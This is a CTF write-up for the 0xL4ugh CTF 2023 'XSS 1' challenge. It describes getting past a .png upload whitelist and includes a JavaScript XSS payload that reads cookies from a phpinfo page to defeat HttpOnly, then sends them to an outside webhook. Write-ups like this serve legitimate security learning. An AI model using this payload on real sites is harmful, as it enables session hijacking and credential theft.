ctf-writeup/0xL4ugh CTF 2023/XSS 1

XSS 1

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About the Challenge

We are given a 2 websites (website for testing and bot to get the flag)

How to Solve?

In the website there is a feature to upload an image file like this

And after we upload a file for example image.png, we can access the file by accessing /uploads/RANDOMCHARACTER/image.png endpoint. In this chall, we only can upload a file that using .png extension. To bypass this whitelist, we need to upload a file named .png So the server will read the file as hidden directories.

At first we can get the flag easily and then the admin revise the chall and added more difficulty by adding HttpOnly flag on the bot so we need to bypass the HttpOnly flag. Luckily there is phpinfo file and we can use it to bypass the HttpOnly flag. So the payload will look like this

var req = new XMLHttpRequest();
req.onload = reqListener;
var url = '[https://REDACTED/info.php](http://172.174.108.207:90/xss1/info.php)';
req.withCredentials = true;
req.open('GET', url, false);
req.send();

function reqListener() {
var req2 = new XMLHttpRequest();
const sess = this.responseText.substring(this.responseText.indexOf('HTTP_COOKIE') + 1 );
req2.open('GET', 'https://webhook/?data=' + btoa(sess), false);
req2.send()
};

And then upload the payload and send the file to the bot and we can get the flag

0xL4ugh{Fre333e_Plaestine!!_My_bRUH}